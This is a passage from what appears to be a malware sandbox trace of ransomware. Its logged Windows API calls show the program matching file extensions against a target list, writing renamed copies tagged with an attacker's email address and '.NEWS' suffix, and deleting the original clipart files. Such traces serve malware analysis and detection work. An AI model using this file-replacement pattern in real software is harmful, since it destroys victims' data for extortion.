(lpString=".jpg") returned 4 [0091.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.623] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.623] lstrlenW (lpString="J0099184.WMF") returned 12 [0091.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.624] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4118) returned 1 [0091.624] CloseHandle (hObject=0x2f4) returned 1 [0091.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220 [0091.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.624] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.624] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0091.625] GetLastError () returned 0x0 [0091.625] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1016, lpOverlapped=0x0) returned 1 [0091.626] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1020, lpOverlapped=0x0) returned 1 [0091.627] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.627] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.627] SetEndOfFile (hFile=0x330) returned 1 [0091.627] CloseHandle (hObject=0x330) returned 1 [0091.628] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.628] SetEndOfFile (hFile=0x2f4) returned 1 [0091.628] CloseHandle (hObject=0x2f4) returned 1 [0091.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0091.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0091.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0091.629] lstrlenW (lpString=".doc") returned 4 [0091.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.629] lstrlenW (lpString=".docx") returned 5 [0091.629] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0091.629] lstrlenW (lpString=".pdf") returned 4 [0091.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.629] lstrlenW (lpString=".xls") returned 4 [0091.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.629] lstrlenW (lpString=".xlsx") returned 5 [0091.629] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0091.629] lstrlenW (lpString=".ppt") returned 4 [0091.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0091.629] lstrlenW (lpString=".zip") returned 4 [0091.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.629] lstrlenW (lpString=".rar") returned 4 [0091.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.629] lstrlenW (lpString=".bz2") returned 4 [0091.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.629] lstrlenW (lpString=".7z") returned 3 [0091.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0091.629] lstrlenW (lpString=".dbf") returned 4 [0091.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0091.629] lstrlenW (lpString=".1cd") returned 4 [0091.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0091.630] lstrlenW (lpString=".jpg") returned 4 [0091.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0091.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0091.630] lstrlenW (lpString=".doc") returned 4 [0091.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.630] lstrlenW (lpString=".docx") returned 5 [0091.630] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0091.630] lstrlenW (lpString=".pdf") returned 4 [0091.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.630] lstrlenW (lpString=".xls") returned 4 [0091.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.630] lstrlenW (lpString=".xlsx") returned 5 [0091.630] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0091.630] lstrlenW (lpString=".ppt") returned 4 [0091.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0091.630] lstrlenW (lpString=".zip") returned 4 [0091.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.630] lstrlenW (lpString=".rar") returned 4 [0091.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.630] lstrlenW (lpString=".bz2") returned 4 [0091.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.630] lstrlenW (lpString=".7z") returned 3 [0091.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0091.630] lstrlenW (lpString=".dbf") returned 4 [0091.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0091.630] lstrlenW (lpString=".1cd") returned 4 [0091.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0091.630] lstrlenW (lpString=".jpg") returned 4 [0091.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.631] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0091.631] lstrlenW (lpString="J0099185.JPG") returned 12 [0091.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0092.115] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3282) returned 1 [0092.115] CloseHandle (hObject=0x398) returned 1 [0092.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220 [0092.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0092.116] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.116] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0092.116] GetLastError () returned 0x0 [0092.116] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xcd2, lpOverlapped=0x0) returned 1 [0092.118] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xce0, lpOverlapped=0x0) returned 1 [0092.119] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.119] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.119] SetEndOfFile (hFile=0x37c) returned 1 [0092.119] CloseHandle (hObject=0x37c) returned 1 [0092.120] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.120] SetEndOfFile (hFile=0x398) returned 1 [0092.122] CloseHandle (hObject=0x398) returned 1 [0092.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0092.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0092.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0092.123] lstrlenW (lpString=".doc") returned 4 [0092.123] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.123] lstrlenW (lpString=".docx") returned 5 [0092.124] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0092.124] lstrlenW (lpString=".pdf") returned 4 [0092.124] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.124] lstrlenW (lpString=".xls") returned 4 [0092.124] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.124] lstrlenW (lpString=".xlsx") returned 5 [0092.124] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0092.124] lstrlenW (lpString=".ppt") returned 4 [0092.124] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0092.124] lstrlenW (lpString=".zip") returned 4 [0092.124] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.124] lstrlenW (lpString=".rar") returned 4 [0092.124] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.124] lstrlenW (lpString=".bz2") returned 4 [0092.124] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.124] lstrlenW (lpString=".7z") returned 3 [0092.124] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0092.124] lstrlenW (lpString=".dbf") returned 4 [0092.124] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0092.124] lstrlenW (lpString=".1cd") returned 4 [0092.124] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0092.124] lstrlenW (lpString=".jpg") returned 4 [0092.124] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0092.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0092.124] lstrlenW (lpString=".doc") returned 4 [0092.124] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.124] lstrlenW (lpString=".docx") returned 5 [0092.124] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0092.124] lstrlenW (lpString=".pdf") returned 4 [0092.124] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.124] lstrlenW (lpString=".xls") returned 4 [0092.125] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.125] lstrlenW (lpString=".xlsx") returned 5 [0092.125] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0092.125] lstrlenW (lpString=".ppt") returned 4 [0092.125] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0092.125] lstrlenW (lpString=".zip") returned 4 [0092.125] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.125] lstrlenW (lpString=".rar") returned 4 [0092.125] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.125] lstrlenW (lpString=".bz2") returned 4 [0092.125] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.125] lstrlenW (lpString=".7z") returned 3 [0092.125] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0092.125] lstrlenW (lpString=".dbf") returned 4 [0092.125] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0092.125] lstrlenW (lpString=".1cd") returned 4 [0092.125] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0092.125] lstrlenW (lpString=".jpg") returned 4 [0092.125] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.125] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0092.125] lstrlenW (lpString="J0099187.JPG") returned 12 [0092.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0092.126] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=24528) returned 1 [0092.126] CloseHandle (hObject=0x398) returned 1 [0092.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220 [0092.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0092.127] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.127] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0092.127] GetLastError () returned 0x0 [0092.127] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x5fd0, lpOverlapped=0x0) returned 1 [0092.129] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x5fe0, lpOverlapped=0x0) returned 1 [0092.130] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.130] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.130] SetEndOfFile (hFile=0x37c) returned 1 [0092.130] CloseHandle (hObject=0x37c) returned 1 [0092.130] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.130] SetEndOfFile (hFile=0x398) returned 1 [0092.131] CloseHandle (hObject=0x398) returned 1 [0092.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0092.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0092.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0092.132] lstrlenW (lpString=".doc") returned 4 [0092.132] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.132] lstrlenW (lpString=".docx") returned 5 [0092.132] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0092.132] lstrlenW (lpString=".pdf") returned 4 [0092.132] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.132] lstrlenW (lpString=".xls") returned 4 [0092.132] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.132] lstrlenW (lpString=".xlsx") returned 5 [0092.132] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0092.132] lstrlenW (lpString=".ppt") returned 4 [0092.132] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0092.132] lstrlenW (lpString=".zip") returned 4 [0092.132] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.132] lstrlenW (lpString=".rar") returned 4 [0092.132] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.132] lstrlenW (lpString=".bz2") returned 4 [0092.132] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.132] lstrlenW (lpString=".7z") returned 3 [0092.132] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0092.132] lstrlenW (lpString=".dbf") returned 4 [0092.132] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0092.132] lstrlenW (lpString=".1cd") returned 4 [0092.132] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0092.133] lstrlenW (lpString=".jpg") returned 4 [0092.133] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0092.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0092.133] lstrlenW (lpString=".doc") returned 4 [0092.133] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.133] lstrlenW (lpString=".docx") returned 5 [0092.133] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0092.133] lstrlenW (lpString=".pdf") returned 4 [0092.133] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.133] lstrlenW (lpString=".xls") returned 4 [0092.133] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.133] lstrlenW (lpString=".xlsx") returned 5 [0092.133] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0092.133] lstrlenW (lpString=".ppt") returned 4 [0092.133] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0092.133] lstrlenW (lpString=".zip") returned 4 [0092.133] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.133] lstrlenW (lpString=".rar") returned 4 [0092.133] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.133] lstrlenW (lpString=".bz2") returned 4 [0092.133] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.133] lstrlenW (lpString=".7z") returned 3 [0092.133] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0092.133] lstrlenW (lpString=".dbf") returned 4 [0092.133] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0092.133] lstrlenW (lpString=".1cd") returned 4 [0092.133] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0092.133] lstrlenW (lpString=".jpg") returned 4 [0092.133] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.134] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0092.134] lstrlenW (lpString="J0099188.JPG") returned 12 [0092.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 